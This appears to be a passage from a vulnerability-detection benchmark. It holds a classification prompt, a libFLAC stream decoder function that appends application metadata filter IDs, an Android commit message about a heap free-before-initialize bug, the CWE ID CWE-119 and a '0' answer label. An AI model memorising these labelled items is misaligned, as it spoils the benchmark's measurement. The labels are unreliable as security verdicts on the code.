CWE ID: CWE-190 | 0 | 14,365 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: FLAC_API FLAC__bool FLAC__stream_decoder_set_metadata_respond_application(FLAC__StreamDecoder *decoder, const FLAC__byte id[4])
{
FLAC__ASSERT(0 != decoder);
FLAC__ASSERT(0 != decoder->private_);
FLAC__ASSERT(0 != decoder->protected_);
FLAC__ASSERT(0 != id);
if(decoder->protected_->state != FLAC__STREAM_DECODER_UNINITIALIZED)
return false;
if(decoder->private_->metadata_filter[FLAC__METADATA_TYPE_APPLICATION])
return true;
FLAC__ASSERT(0 != decoder->private_->metadata_filter_ids);
if(decoder->private_->metadata_filter_ids_count == decoder->private_->metadata_filter_ids_capacity) {
if(0 == (decoder->private_->metadata_filter_ids = safe_realloc_mul_2op_(decoder->private_->metadata_filter_ids, decoder->private_->metadata_filter_ids_capacity, /*times*/2))) {
decoder->protected_->state = FLAC__STREAM_DECODER_MEMORY_ALLOCATION_ERROR;
return false;
}
decoder->private_->metadata_filter_ids_capacity *= 2;
}
memcpy(decoder->private_->metadata_filter_ids + decoder->private_->metadata_filter_ids_count * (FLAC__STREAM_METADATA_APPLICATION_ID_LEN/8), id, (FLAC__STREAM_METADATA_APPLICATION_ID_LEN/8));
decoder->private_->metadata_filter_ids_count++;
return true;
}
Commit Message: Avoid free-before-initialize vulnerability in heap
Bug: 27211885
Change-Id: Ib9c93bd9ffdde2a5f8d31a86f06e267dc9c152db
CWE ID: CWE-119 | 0 | 690 |
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